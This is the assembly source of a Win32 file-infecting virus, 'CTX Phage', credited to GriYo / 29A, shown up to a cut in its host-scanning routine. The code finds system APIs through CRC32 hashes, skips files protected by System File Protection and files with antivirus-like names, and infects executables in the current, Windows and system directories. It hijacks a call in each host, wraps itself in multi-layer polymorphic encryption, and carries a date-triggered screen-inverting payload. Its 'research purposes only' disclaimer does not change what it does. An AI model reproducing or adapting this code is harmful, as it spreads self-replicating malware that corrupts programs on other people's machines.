;----------------------------------------------------------------------------
; CTX Phage virus 
;
; BioCoded by GriYo / 29A
;
; griyo@bi0.net
;
;----------------------------------------------------------------------------

                .386P
                locals
                jumps
                .model flat,STDCALL

                include Win32api.inc
                include Useful.inc
                include Mz.inc
                include Pe.inc

		extrn GetModuleHandleA:NEAR
		extrn ExitProcess:NEAR

;----------------------------------------------------------------------------
;Fake host used for virus 1st generation
;----------------------------------------------------------------------------

_TEXT           segment dword use32 public 'CODE'

		;------------------------------------------------------------
		;We need the CRC lookup table for the next steps
                ;------------------------------------------------------------

host_code:	xor ebp,ebp				
		call make_crc_tbl

		;------------------------------------------------------------
		;Save the CRC32 of 'KERNEL32.DLL' inside virus body
		;------------------------------------------------------------

		mov esi,offset g1_szKernel32
		call get_str_crc32
		mov dword ptr [CrcKernel32],edx

		;------------------------------------------------------------
		;Save the CRC32 of 'GetProcAddress' inside virus body	
		;------------------------------------------------------------

		mov esi,offset g1_szGetProcAddr
		call get_str_crc32
		mov dword ptr [CrcGetProcAddr],edx

		;------------------------------------------------------------
		;Get CRC's of needed API's and save them inside virus body
		;Lets start with KERNEL32 API names
		;------------------------------------------------------------

		mov ecx,NumK32Apis
		mov esi,offset namesK32Apis
		mov edi,offset CRC32K32Apis
		call save_crc_names

		;------------------------------------------------------------
		;Get API used to check for Windows2000 System File Protection
		;------------------------------------------------------------

		mov ecx,NumSFCApis
		mov esi,offset namesSFCApis
		mov edi,offset CRC32SFCApis
		call save_crc_names

		;------------------------------------------------------------
		;Build the do-not-infect-file-by-name CRC32 table
		;------------------------------------------------------------

		mov ecx,avoid_num
		mov esi,offset g1_avoid_files
		mov edi,offset avoid_tbl
		call save_crc_names

		;------------------------------------------------------------
		;Get KERNEL32.DLL module handle
		;------------------------------------------------------------

		push offset g1_szKernel32
		call GetModuleHandleA
		or eax,eax
		jz out_1st_gen
		mov ebx,eax
		xor ebp,ebp

		db 05h dup (90h)

		call get1st_end

		db 05h dup (90h)

out_1st_gen:	push 00000000h
		call ExitProcess

get1st_end:	pushad
		xor ebp,ebp				
		jmp entry_1st_gen

                ;------------------------------------------------------------
                ;Routine that converts API names in CRC32 values
                ;------------------------------------------------------------

save_crc_names:	cld
get_g1_crc:	push ecx				
		lodsd
		push esi
		mov esi,eax
		call get_str_crc32
		mov eax,edx
		stosd
		pop esi
		pop ecx
		loop get_g1_crc
		ret

_TEXT           ends

;----------------------------------------------------------------------------
;Here comes the rest of the sections in virus 1st generation
;----------------------------------------------------------------------------

_DATA           segment dword use32 public 'DATA'

                ;------------------------------------------------------------
                ;Used to locate KERNEL32 base address on 1st generation
                ;------------------------------------------------------------

g1_szKernel32				db 'KERNEL32.DLL',00h
g1_szGetProcAddr			db 'GetProcAddress',00h

                ;------------------------------------------------------------
                ;Do not infect files with this character combinations on its
				;name
                ;------------------------------------------------------------

g1_avoid_files				equ $

					dd offset g1_avoid_00
					dd offset g1_avoid_01
					dd offset g1_avoid_02
					dd offset g1_avoid_03
					dd offset g1_avoid_04
					dd offset g1_avoid_05
					dd offset g1_avoid_06
					dd offset g1_avoid_07
					dd offset g1_avoid_08						

avoid_num				equ ($-g1_avoid_files)/04h

g1_avoid_00				db 'DR',00h
g1_avoid_01				db 'PA',00h
g1_avoid_02				db 'RO',00h
g1_avoid_03				db 'VI',00h
g1_avoid_04				db 'AV',00h
g1_avoid_05				db 'TO',00h
g1_avoid_06				db 'CA',00h
g1_avoid_07				db 'IN',00h
g1_avoid_08				db 'MS',00h

                ;------------------------------------------------------------
                ;KERNEL32.DLL API names
		;
		;Note that this tables and strings are not included into the
		;virus body after 1st generation. Only CRC32 values
                ;------------------------------------------------------------

namesK32Apis				equ $

					dd offset g1_CreateFileA
					dd offset g1_CreateFileMappingA
					dd offset g1_CloseHandle
					dd offset g1_FindClose
					dd offset g1_FindFirstFileA
					dd offset g1_FindNextFileA
					dd offset g1_FreeLibrary
					dd offset g1_GetCurrentDirectoryA
					dd offset g1_GetCurrentProcess
					dd offset g1_GetFileAttributesA
					dd offset g1_GetLocalTime
					dd offset g1_GetSystemDirectoryA
					dd offset g1_GetVersionEx
					dd offset g1_GetWindowsDirectoryA
					dd offset g1_LoadLibraryA
					dd offset g1_MapViewOfFile
					dd offset g1_SetEndOfFile
					dd offset g1_SetFileAttributesA
					dd offset g1_SetFilePointer
					dd offset g1_SetFileTime
					dd offset g1_UnmapViewOfFile
					dd offset g1_VirtualAlloc
					dd offset g1_WriteProcessMemory

g1_CreateFileA				db 'CreateFileA',00h
g1_CreateFileMappingA			db 'CreateFileMappingA',00h
g1_CloseHandle				db 'CloseHandle',00h
g1_FindClose				db 'FindClose',00h
g1_FindFirstFileA			db 'FindFirstFileA',00h
g1_FindNextFileA			db 'FindNextFileA',00h
g1_FreeLibrary				db 'FreeLibrary',00h
g1_GetCurrentDirectoryA			db 'GetCurrentDirectoryA',00h
g1_GetCurrentProcess			db 'GetCurrentProcess',00h
g1_GetFileAttributesA			db 'GetFileAttributesA',00h
g1_GetLocalTime				db 'GetLocalTime',00h
g1_GetSystemDirectoryA			db 'GetSystemDirectoryA',00h
g1_LoadLibraryA				db 'LoadLibraryA',00h
g1_GetVersionEx				db 'GetVersionExA',00h
g1_GetWindowsDirectoryA			db 'GetWindowsDirectoryA',00h
g1_MapViewOfFile			db 'MapViewOfFile',00h
g1_SetEndOfFile				db 'SetEndOfFile',00h
g1_SetFileAttributesA			db 'SetFileAttributesA',00h
g1_SetFilePointer			db 'SetFilePointer',00h
g1_SetFileTime				db 'SetFileTime',00h
g1_UnmapViewOfFile			db 'UnmapViewOfFile',00h
g1_VirtualAlloc				db 'VirtualAlloc',00h
g1_WriteProcessMemory			db 'WriteProcessMemory',00h

                ;------------------------------------------------------------
                ;SFC.DLL API names
                ;------------------------------------------------------------

namesSFCApis				equ $

					dd offset g1_SfcIsFileProtected

g1_SfcIsFileProtected			db 'SfcIsFileProtected',00h

_DATA           ends

_BSS            segment dword use32 public 'BSS'

_BSS            ends

;----------------------------------------------------------------------------
;Viral section
;----------------------------------------------------------------------------

virseg          segment dword use32 public 'Flu!'

		;------------------------------------------------------------
		;Get delta offset in ebp
		;------------------------------------------------------------
								
viro_sys:	call get_delta
get_delta:	pop ebp
		sub ebp,offset get_delta

		;------------------------------------------------------------
		;Make the return address point to the instruction which
		;made the call
		;------------------------------------------------------------

		sub dword ptr [esp+cPushad],00000005h

		;------------------------------------------------------------
		;Generate a CRC32 lookup table
		;------------------------------------------------------------

		call make_crc_tbl

		;------------------------------------------------------------
		;Check CRC32 of main virus body
		;
		; esi -> Ptr to buffer
		; ecx -> Buffer size
		;------------------------------------------------------------

		mov ecx,SizeOfProtect
		lea esi,dword ptr [ebp+CRC_protected]
		call get_crc32

		;------------------------------------------------------------
		;Checksum matches?
		;------------------------------------------------------------

		db 0B8h			; mov eax,imm
ViralChecksum	dd 00000000h

		cmp eax,edx
		jne critical_error
		jmp KernelScanning

CRC_protected	equ $

                ;------------------------------------------------------------
		;Scan system memory looking for KERNEL32.DLL
                ;------------------------------------------------------------

KernelScanning: pushad
fK32_try_01:	mov eax,080000101h
                call IGetNtBaseAddr
                jecxz fK32_try_02
                jmp short kernel_found
fK32_try_02:    mov eax,0C0000101h
                call IGetNtBaseAddr
                jecxz fK32_try_03
                jmp short kernel_found
fK32_try_03:    xor eax,eax
                call IGetNtBaseAddr
kernel_found:   jecxz critical_error
		mov dword ptr [esp.Pushad_ebx],ecx
                popad

                ;------------------------------------------------------------
                ;This is the entry-point for 1st generation
		;Now EBX points to KERNEL32.DLL base address
                ;------------------------------------------------------------

entry_1st_gen:	mov dword ptr [ebp+hKERNEL32],ebx

                ;------------------------------------------------------------
		;Search for GetProcAddress entry-point
                ;------------------------------------------------------------

		call GetGetProcAddr
		jecxz critical_error
		mov dword ptr [ebp+a_GetProcAddress],ecx

                ;------------------------------------------------------------
		;Get KERNEL32 API addresses
                ;------------------------------------------------------------

		mov ecx,NumK32Apis				
		lea esi,dword ptr [ebp+CRC32K32Apis]
		lea edi,dword ptr [ebp+epK32Apis]
		call get_APIs
		jecxz API_sucksexee

                ;------------------------------------------------------------
		;Everything have to work, but if something goes wrong this
		;will halt the process
                ;------------------------------------------------------------

critical_error:	jmp critical_error

                ;------------------------------------------------------------
                ;Virus ready to infect, but first we need to allocate some 
		;memory for buffers
                ;------------------------------------------------------------

API_sucksexee:	push PAGE_EXECUTE_READWRITE
                push MEM_RESERVE or MEM_COMMIT
                push alloc_size
                push 00000000h
                call dword ptr [ebp+a_VirtualAlloc]
				or eax,eax
                jz critical_error

                ;------------------------------------------------------------
                ;Copy virus to allocated memory and continue execution there
                ;------------------------------------------------------------

                lea esi,dword ptr [ebp+viro_sys]
                mov edi,eax
                mov ecx,size_virtual
                cld
                rep movsb
		add eax,offset go_mem - offset viro_sys
		push eax
		ret

;----------------------------------------------------------------------------
;Just a stupid payload
;----------------------------------------------------------------------------

payload:	call GetUser32

		db 'USER32.DLL',00h

GetUser32:	call dword ptr [ebp+a_LoadLibraryA]
		or eax,eax
		jz ExitPayload
		push eax
		
		call GetGetDC

		db 'GetDC',00h

GetGetDC:	push eax
		call dword ptr [ebp+a_GetProcAddress]
		or eax,eax
		jz freeUSER32

		push 00000000h
		call eax
		or eax,eax
		jz freeUSER32

		mov edi,eax

		call GetGDI32

		db 'GDI32.DLL',00h

GetGDI32:	call dword ptr [ebp+a_LoadLibraryA]
		or eax,eax
		jz freeUSER32
		push eax

		call GetBitBlt

		db 'BitBlt',00h

GetBitBlt:	push eax
		call dword ptr [ebp+a_GetProcAddress]
		or eax,eax
		jz freeGDI32

		xor ecx,ecx
		push 00550009h	; Raster operation DSTINVERT
		push ecx		; Destination Y
		push ecx		; Destination X
		push edi		; Destination DC
		push 00000600h	; Height
		push 00000800h	; Width
		push ecx		; Source Y
		push ecx		; Source X
		push edi		; Source DC
		call eax

freeGDI32:	call dword ptr [ebp+a_FreeLibrary]
freeUSER32:	call dword ptr [ebp+a_FreeLibrary]
ExitPayload:	ret

;----------------------------------------------------------------------------
;Copyright notice and disclaimer
;----------------------------------------------------------------------------

			db '[ '

copyright		db ' CTX Phage Virus BioCoded by GriYo / 29A '

disclaimer		db ' Disclaimer: This software has been designed'
			db ' for research purposes only. The author is'
			db ' not responsible for any problems caused due to'
			db ' improper or illegal usage of it '

			db ' ]'

;----------------------------------------------------------------------------
;End of virus critical initialization
;----------------------------------------------------------------------------

                ;------------------------------------------------------------
		;Get in-memory delta offset
                ;------------------------------------------------------------

go_mem:		call get_mem_delta
get_mem_delta:	pop ebp
		sub ebp,offset get_mem_delta

                ;------------------------------------------------------------
		;Get current local time
                ;------------------------------------------------------------

		lea esi,dword ptr [ebp+local_time]
		push esi
		call dword ptr [ebp+a_GetLocalTime]

                ;------------------------------------------------------------
		;Initialize random number generator seed
                ;------------------------------------------------------------

		cld
		lodsw
		lodsw
		mov dword ptr [ebp+rnd32_seed],eax

                ;------------------------------------------------------------
		;Activate payload now?
                ;------------------------------------------------------------

		cmp ax,word ptr [ebp+activate_month]
		jne skip_payload
		lodsw
		lodsw
		cmp ax,word ptr [ebp+activate_day]
		jne skip_payload
		lodsw
		cmp ax,word ptr [ebp+activate_hour]
		jne skip_payload

                ;------------------------------------------------------------
		;Time to do something funny
                ;------------------------------------------------------------
				
		call payload

                ;------------------------------------------------------------
		;Set when files infected by the virus will activate
                ;------------------------------------------------------------

skip_payload:	mov ax,word ptr [ebp+LT_Month]
		add ax,0006h
		cmp ax,000Ch
		jbe month_is_ok
		sub ax,000Ch
month_is_ok:	mov word ptr [ebp+activate_month],ax
		mov ax,word ptr [ebp+LT_Day]
		mov word ptr [ebp+activate_day],ax
		mov ax,word ptr [ebp+LT_Hour]
		mov word ptr [ebp+activate_hour],ax

                ;------------------------------------------------------------
		;Locate KERNEL32 code section in memory
                ;------------------------------------------------------------

		call get_code_sh
		mov eax,dword ptr [edi+SH_VirtualAddress]
		add eax,ebx
		mov dword ptr [ebp+K32CodeStart],eax
		add eax,dword ptr [edi+SH_VirtualSize]
		mov dword ptr [ebp+K32CodeEnd],eax

                ;------------------------------------------------------------
		;Restore host code
                ;------------------------------------------------------------

HostRetry:	mov eax,dword ptr [esp+cPushad]
		push 00000000h
                push 00000005h
		call get_org_code

org_code	db 05h dup (90h)

get_org_code:	push eax
		call dword ptr [ebp+a_GetCurrentProcess]
                push eax
                call dword ptr [ebp+a_WriteProcessMemory]

                ;------------------------------------------------------------
		;If this fails try again and again...
		;Any better solution?
                ;------------------------------------------------------------

		or eax,eax
		jz HostRetry 

                ;------------------------------------------------------------
		;Check for Windows2000 SFP
                ;------------------------------------------------------------

		lea esi,dword ptr [ebp+system_version]
		mov dword ptr [esi],00000094h
		push esi
		call dword ptr [ebp+a_GetVersionEx]
		or eax,eax
		jz ErrCore

		cld
		lodsd
		lodsd
		cmp eax,00000005h
		jb NoSFC

                ;------------------------------------------------------------
		;Load SFC.DLL
                ;------------------------------------------------------------

		call GetPtrSFCName

		db 'SFC.DLL',00h

GetPtrSFCName:	call dword ptr [ebp+a_LoadLibraryA]
		mov dword ptr [ebp+hSFCDLL],eax

		or eax,eax
		jz NoSFC

                ;------------------------------------------------------------
		;Find SFC API addresses
                ;------------------------------------------------------------

		mov ebx,eax
		mov ecx,NumSFCApis				
		lea esi,dword ptr [ebp+CRC32SFCApis]
		lea edi,dword ptr [ebp+epSFCApis]
		call get_APIs
		jecxz NoSFC

FreeSFC:	cmp dword ptr [ebp+hSFCDLL],00000000h
		jz SfcNotLoaded
		push dword ptr [ebp+hSFCDLL]
		call dword ptr [ebp+a_FreeLibrary]
SfcNotLoaded:	popad
		ret	
				
                ;------------------------------------------------------------
		;Infect files before returning to host
                ;------------------------------------------------------------

NoSFC:		call search_files

                ;------------------------------------------------------------
		;Back to host
                ;------------------------------------------------------------

ErrCore:	jmp FreeSFC	

;----------------------------------------------------------------------------
;Find base address of KERNEL32.DLL 
;Thanks to Jacky Qwerty for the SEH routines
;----------------------------------------------------------------------------

SEH_Block_0000  macro
                add esp,-cPushad
                jnz GNtBA_L1
                endm

IGetNtBaseAddr: @SEH_SetupFrame <SEH_Block_0000>
                mov ecx,edx
                xchg ax,cx
GNtBA_L0:		dec cx
                jz GNtBA_L2
                add eax,-10000h
                pushad
                mov bx,-IMAGE_DOS_SIGNATURE
                add bx,word ptr [eax]
                mov esi,eax
                jnz GNtBA_L1
                mov ebx,-IMAGE_NT_SIGNATURE
                add eax,dword ptr [esi.MZ_lfanew]
                mov edx,esi
                add ebx,dword ptr [eax]
                jnz GNtBA_L1
                add edx,[eax.NT_OptionalHeader.OH_DirectoryEntries.	\
                         DE_Export.DD_VirtualAddress]
                add esi,dword ptr [edx.ED_Name]
		lea edi,dword ptr [ebp+BufStrFilename]
		push edi
		call parse_filename
		pop esi
		call get_str_crc32
		cmp edx,dword ptr [ebp+CrcKernel32]	;Is KERNEL32.DLL ?
		je k32_f
GNtBA_L1:	popad
                jmp GNtBA_L0

k32_f:		popad
                xchg ecx,eax
                inc eax

GNtBA_L2:       @SEH_RemoveFrame
                ret

;----------------------------------------------------------------------------
;Search for target files in current, windows and system directories
;----------------------------------------------------------------------------

                ;------------------------------------------------------------
		;Try to infect files in current directory
                ;------------------------------------------------------------

search_files:	lea eax,dword ptr [ebp+BufGetDir]
                push eax
                push MAX_PATH
                call dword ptr [ebp+a_GetCurrentDirectoryA]
                or eax,eax
                jz try_windir
                call do_in_dir
				                
                ;------------------------------------------------------------
		;Try to infect files in \WINDOWS directory
                ;------------------------------------------------------------

try_windir:     push MAX_PATH
                lea eax,dword ptr [ebp+BufGetDir]
                push eax
                call dword ptr [ebp+a_GetWindowsDirectoryA]
                or eax,eax
                jz try_sysdir
                call do_in_dir

                ;------------------------------------------------------------
		;Try to infect files in \SYSTEM directory
                ;------------------------------------------------------------

try_sysdir:     push MAX_PATH
                lea eax,dword ptr [ebp+BufGetDir]
                push eax
                call dword ptr [ebp+a_GetSystemDirectoryA]
                or eax,eax
                jz exit_in_dir

;----------------------------------------------------------------------------
;Search for files to infect in the specified directory
;----------------------------------------------------------------------------

                ;------------------------------------------------------------
		;Dont infect files in the root directory
                ;------------------------------------------------------------

do_in_dir:	cmp eax,00000004h
                jb exit_in_dir				

dir_complete:   lea edx,dword ptr [ebp+DirectFindData]
                push edx                
                lea edi,dword ptr [ebp+BufGetDir]
		push edi

                ;------------------------------------------------------------
                ;Insert *.EXE next to path
                ;------------------------------------------------------------

		xor al,al
                cld
direct_Null:	scasb
		jnz direct_Null
		mov byte ptr [edi-00000001h],"\"

                ;------------------------------------------------------------
		;This is '*.EXE',00h
                ;------------------------------------------------------------

		mov eax,'XE.*'
		stosd
		mov ax,0045h				
		stosw

                ;------------------------------------------------------------
		;Reset number of files infected on this virus execution
                ;------------------------------------------------------------

		mov byte ptr [ebp+NumInfected],00h

                ;------------------------------------------------------------
		;First find try
                ;------------------------------------------------------------

		call dword ptr [ebp+a_FindFirstFileA]
                cmp eax,INVALID_HANDLE_VALUE
                je exit_in_dir
		mov dword ptr [ebp+h_Find],eax

                ;------------------------------------------------------------
		;Skip directories, compressed and system files
                ;------------------------------------------------------------

work_with_WFD:	mov eax,dword ptr [ebp+					\
				   DirectFindData+			\
				   WFD_dwFileAttributes]

		and eax,FILE_ATTRIBUTE_DIRECTORY  or			\
			FILE_ATTRIBUTE_COMPRESSED or			\
			FILE_ATTRIBUTE_SYSTEM

		jnz DirectAgain

                ;------------------------------------------------------------
		;Check if file size is allowed
                ;------------------------------------------------------------

		cld
		lea esi,dword ptr [ebp+					\
				   DirectFindData+			\
				   WFD_nFileSizeHigh]
		lodsd
		or eax,eax
                jnz DirectAgain
		lodsd
		cmp eax,0FFFFFFFFh-(size_virtual+4000h)
		jae DirectAgain				
				
                ;------------------------------------------------------------
		;Check if file is already infected
                ;------------------------------------------------------------

SIZE_PADDING	equ 00000065h

                mov ecx,SIZE_PADDING
                xor edx,edx
                div ecx
                or edx,edx
                jz DirectAgain

                ;------------------------------------------------------------
		;Get complete path+filename and convert it to upper case
                ;------------------------------------------------------------

		lea esi,dword ptr [ebp+BufGetDir]
		lea edi,dword ptr [ebp+BufStrFilename]
		call parse_filename

		lea esi,dword ptr [ebp+					\
				   DirectFindData+			\
				   WFD_szFileName]
		mov edi,edx
		call parse_filename

;		al  -> Null
;		edx -> Points to filename at the end of path
;		edi -> Points 1byte above the null terminator

                ;------------------------------------------------------------
		;Avoid some files from being infected
                ;------------------------------------------------------------

		mov esi,edx
CheckFileName:	push esi
		mov ecx,00000002h
		call get_crc32
		lea esi,dword ptr [ebp+avoid_tbl]
		mov ecx,avoid_num
AvoidLoop:	lodsd
		cmp eax,edx
		jne NextAvoid
		
		pop esi
		jmp DirectAgain

NextAvoid:	loop AvoidLoop
		pop esi
		lodsb
		cmp al,'.'
		jne CheckFileName		
		
                ;------------------------------------------------------------
		;Check if file is protected by Window System File Protection
                ;------------------------------------------------------------

		lea esi,dword ptr [ebp+system_version]
		cld
		lodsd
		lodsd
		cmp eax,00000005h
		jb NotProtected
		cmp dword ptr [ebp+hSFCDLL],00000000h
		jz NotProtected
		lea eax,dword ptr [ebp+BufStrFilename]
		push eax
		push 00000000h
		call dword ptr [ebp+a_SfcIsFileProtected]
		or eax,eax
		jnz DirectAgain

                ;------------------------------------------------------------
		;Try to infect this file
                ;------------------------------------------------------------

NotProtected:	call infect_file

                ;------------------------------------------------------------
		;More files, please
                ;------------------------------------------------------------
								
DirectAgain:	cmp byte ptr [ebp+NumInfected],05h
		jae no_more_pls

		lea eax,dword ptr [ebp+DirectFindData]
		push eax
                push dword ptr [ebp+h_Find]
		call dword ptr [ebp+a_FindNextFileA]
                or eax,eax
                jnz work_with_WFD

                ;------------------------------------------------------------
		;Close Win32 find handle
                ;------------------------------------------------------------
no_more_pls:	

                push dword ptr [ebp+h_Find]
                call dword ptr [ebp+a_FindClose]

exit_in_dir:	ret

;----------------------------------------------------------------------------
;Infect file routines
;
;On entry:
;		BufStrFilename -> Buffer filled with path + filename
;----------------------------------------------------------------------------

SEH_Block_0001  macro
                add esp,-cPushad
		jnz Ape_err
                endm

                ;------------------------------------------------------------
		;Open target file... Do not change its size yet, we have
		;to check first if the file can be infected
                ;------------------------------------------------------------

infect_file:	xor edi,edi
		call OpenMapFile
		or eax,eax
		jz inf_file_err

                ;------------------------------------------------------------				
		;Register ebx contains the base address of the target file
		;all along infection routines
                ;------------------------------------------------------------

		mov ebx,eax

                ;------------------------------------------------------------
                ;Check for MZ signature at base address
                ;------------------------------------------------------------

                cld
                cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
                jne inf_close_file

                ;------------------------------------------------------------
                ;Check file address of relocation table
                ;------------------------------------------------------------

                cmp word ptr [ebx+MZ_lfarlc],0040h
                jb inf_close_file

                ;------------------------------------------------------------
                ;Now go to the pe header and check for the PE signature
                ;------------------------------------------------------------

                mov esi,dword ptr [ebx+MZ_lfanew]
                add esi,ebx
                lodsd
                cmp eax,IMAGE_NT_SIGNATURE
                jne inf_close_file

                ;------------------------------------------------------------
                ;Check machine field in IMAGE_FILE_HEADER
                ;just allow i386 PE files
                ;------------------------------------------------------------

                cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386
                jne inf_close_file

                ;------------------------------------------------------------
                ;Now check the characteristics, look if file
                ;is an executable
                ;------------------------------------------------------------

                mov ax,word ptr [esi+FH_Characteristics]
                test ax,IMAGE_FILE_EXECUTABLE_IMAGE
                jz inf_close_file

                ;------------------------------------------------------------
                ;Avoid DLL's
                ;------------------------------------------------------------

                test ax,IMAGE_FILE_DLL
                jnz inf_close_file

                ;------------------------------------------------------------
		;Virus resides on last section
                ;------------------------------------------------------------

		call get_last_sh
		jecxz inf_close_file

		mov eax,edi
		sub eax,ebx
		mov dword ptr [ebp+virus_sh],eax

                ;------------------------------------------------------------
		;Save a pointer to imports
                ;------------------------------------------------------------

                mov eax,dword ptr [esi+					\
				   OH_DataDirectory+			\
                                   DE_Import+				\
                                   DD_VirtualAddress]

		mov dword ptr [ebp+FileImport],eax

                ;------------------------------------------------------------								
		;Go to relocations
                ;------------------------------------------------------------

                mov eax,dword ptr [esi+					\
				   OH_DataDirectory+			\
                                   DE_BaseReloc+			\
                                   DD_VirtualAddress]
		or eax,eax
		jz cant_overwrite

                ;------------------------------------------------------------
		;Relocations sections is the last section?
                ;------------------------------------------------------------

		sub eax,dword ptr [edi+SH_VirtualAddress]
		jz got_vir_offset

                ;------------------------------------------------------------
		;We cant overwrite relocations...
		;...lets attach the virus to the end of last section
                ;------------------------------------------------------------

cant_overwrite:	mov eax,dword ptr [edi+SH_SizeOfRawData]
		mov edx,dword ptr [edi+SH_VirtualSize]
		cmp eax,edx
		jae got_vir_offset
		mov eax,edx

got_vir_offset:	add eax,dword ptr [edi+SH_PointerToRawData]
		mov dword ptr [ebp+vir_offset],eax
				
                ;------------------------------------------------------------
		;Search inside host code...
                ;------------------------------------------------------------

		@SEH_SetupFrame <SEH_Block_0001>
		xor ecx,ecx
		pushad

		call ApeIt
		mov dword ptr [esp+Pushad_ecx],ecx

Ape_err:	popad
		@SEH_RemoveFrame

		jecxz inf_close_file
		mov dword ptr [ebp+inject_offs],ecx

                ;------------------------------------------------------------
		;Close file...
                ;------------------------------------------------------------

		call UnmapClose
		call HandleClose

                ;------------------------------------------------------------
		;...and remap with oversize
                ;------------------------------------------------------------

		mov edi,00000001h
		call OpenMapFile
		or eax,eax
		jz inf_file_err

		add dword ptr [ebp+virus_sh],eax
		mov ebx,eax

                ;------------------------------------------------------------
		;Save original code
                ;------------------------------------------------------------

		mov esi,dword ptr [ebp+inject_offs]
		add esi,ebx
		lea edi,dword ptr [ebp+org_code]
		cld
		movsb
		movsd

                ;------------------------------------------------------------
		;Get CRC32 of main virus body and save it for l8r use
                ;------------------------------------------------------------

		mov ecx,SizeOfProtect
		lea esi,dword ptr [ebp+CRC_protected]
		call get_crc32
		mov dword ptr [ebp+ViralChecksum],edx

                ;------------------------------------------------------------
		;Move virus to file
                ;------------------------------------------------------------

		lea esi,dword ptr [ebp+viro_sys]	
		mov edi,dword ptr [ebp+vir_offset]
		add edi,ebx				
		mov ecx,inf_size
		cld
		rep movsb				

                ;------------------------------------------------------------
		;Initialize size of all decryptors
                ;------------------------------------------------------------

		mov dword ptr [ebp+decryptor_size],ecx

                ;------------------------------------------------------------
		;Save some registers on 1st decryptor
                ;------------------------------------------------------------

		mov byte ptr [ebp+IsFirst],cl
				
                ;------------------------------------------------------------
		;Generate polymorphic encryption
                ;------------------------------------------------------------

		mov edx,dword ptr [ebp+vir_offset]

		mov eax,00000004h
		call get_rnd_range
		add eax,00000004h

		mov ecx,eax

each_layer:	push ecx
		cmp ecx,00000001h
		jne Set1stFlag
		mov dword ptr [ebp+IsFirst],0FFh
Set1stFlag:	mov ecx,dword ptr [ebp+decryptor_size]				
		add ecx,inf_size
		mov esi,dword ptr [ebp+vir_offset]
		call Mutate
		add dword ptr [ebp+decryptor_size],ecx				
		pop ecx
		loop each_layer

                ;------------------------------------------------------------
		;Insert a call to virus code over the api call
                ;------------------------------------------------------------

		mov edi,dword ptr [ebp+inject_offs]
		add edi,ebx
		mov al,0E8h
		stosb				
		push edi

                ;------------------------------------------------------------
		;Calculate the CALL displacement
                ;------------------------------------------------------------

		call get_code_sh

		mov eax,dword ptr [esi+OH_FileAlignment]
		mov dword ptr [ebp+raw_align],eax

		mov eax,dword ptr [ebp+inject_offs]
		sub eax,dword ptr [edi+SH_PointerToRawData]
		add eax,dword ptr [edi+SH_VirtualAddress]				
		push eax

		mov eax,dword ptr [ebp+entry_point]
		sub eax,00000005h
		sub eax,ebx

		mov edi,dword ptr [ebp+virus_sh]
                sub eax,dword ptr [edi+SH_PointerToRawData]
                add eax,dword ptr [edi+SH_VirtualAddress]

		pop edx
		sub eax,edx				
		pop edi
		stosd

		mov edi,dword ptr [ebp+virus_sh]

                ;------------------------------------------------------------
		;Set read/write access on virus section
                ;------------------------------------------------------------

		or dword ptr [edi+SH_Characteristics],			\
			     IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE

                ;------------------------------------------------------------
		;Dont share virus section
                ;------------------------------------------------------------

                and dword ptr [edi+SH_Characteristics],			\
				   not IMAGE_SCN_MEM_SHARED

                ;------------------------------------------------------------
		;Update SizeOfRawData
                ;------------------------------------------------------------

		mov eax,dword ptr [ebp+vir_offset]
		add eax,dword ptr [ebp+decryptor_size]
		add eax,inf_size
		mov edx,dword ptr [edi+SH_PointerToRawData]
		mov dword ptr [ebp+fix_size],edx
		sub eax,edx
		cmp eax,dword ptr [edi+SH_SizeOfRawData]
		jbe RawSizeOk

                ;------------------------------------------------------------
		;If we changed SizeOfRawData round up to nearest
		;file alignment
                ;------------------------------------------------------------

		xor edx,edx
		mov ecx,dword ptr [ebp+raw_align]
		div ecx
		inc eax
		mul ecx				
		mov edx,dword ptr [edi+SH_SizeOfRawData]
		mov dword ptr [edi+SH_SizeOfRawData],eax
		sub eax,edx
				
		test dword ptr [edi+SH_Characteristics],		\
				IMAGE_SCN_CNT_INITIALIZED_DATA
		jz RawSizeOk
		add dword ptr [esi+OH_SizeOfInitializedData],eax

                ;------------------------------------------------------------
		;Update VirtualSize
                ;------------------------------------------------------------

RawSizeOk:	mov eax,dword ptr [edi+SH_SizeOfRawData]
		add dword ptr [ebp+fix_size],eax
		add eax,size_virtual-inf_size
		cmp eax,dword ptr [edi+SH_VirtualSize]
		jbe VirtualSizeOk

		mov dword ptr [edi+SH_VirtualSize],eax

                ;------------------------------------------------------------
		;Update SizeOfImage
                ;------------------------------------------------------------

VirtualSizeOk:	mov eax,dword ptr [edi+SH_VirtualAddress]
		add eax,dword ptr [edi+SH_VirtualSize]
		xor edx,edx
                mov ecx,dword ptr [esi+OH_SectionAlignment]                
                div ecx
                inc eax
                mul ecx
		mov dword ptr [esi+OH_SizeOfImage],eax

                ;------------------------------------------------------------
		;Clear BASE RELOCATION field
                ;------------------------------------------------------------

		xor eax,eax
                lea edi,dword ptr [esi+					\
				   OH_DataDirectory+			\
				   DE_BaseReloc+			\
                                   DD_VirtualAddress]
		stosd
		stosd

                ;------------------------------------------------------------
		;Mark file as infected and optimize file size
                ;------------------------------------------------------------

		call UnmapClose
				
		xor eax,eax
		push eax			; dwMoveMethod
		push eax			; lpDistanceToMoveHigh

		mov eax,dword ptr [ebp+fix_size]
                mov ecx,SIZE_PADDING
                xor edx,edx
                div ecx
                inc eax
                mul ecx

		push eax				; lDistanceToMove

		mov esi,dword ptr [ebp+h_CreateFile]
		push esi				; hFile

		call dword ptr [ebp+a_SetFilePointer]

		cmp eax,0FFFFFFFFh
		je cant_resize

		push esi				; hFile

		call dword ptr [ebp+a_SetEndOfFile]

		inc byte ptr [ebp+NumInfected]

cant_resize:	call HandleClose
		ret

                ;------------------------------------------------------------
		;Close file mapping
                ;------------------------------------------------------------

inf_close_file:	call UnmapClose
		call HandleClose
inf_file_err:	ret

;----------------------------------------------------------------------------
;Scan host code
;
;On entry:
;				ebx -> Memory image base address
;Exit:
;				ecx -> Inject point offset in file
;					   or NULL if error
;----------------------------------------------------------------------------

ApeIt:		mov edx,dword ptr [ebp+FileImport]
		call RVA2RAW
		mov dword ptr [ebp+ImportSH],edi

		call get_code_sh
		jecxz ExitApe
	
		mov eax,dword ptr [esi+OH_ImageBase]
		mov dword ptr [ebp+host_base],eax

		sub edx,dword ptr [edi+SH_VirtualAddress]

		mov ecx,dword ptr [edi+SH_SizeOfRawData]
		sub ecx,edx

		add edx,dword ptr [edi+SH_PointerToRawData];Entry-point RAW
				
		lea esi,dword ptr [ebx+edx]
				
search_call:	push ecx
		xor eax,eax

		lodsb
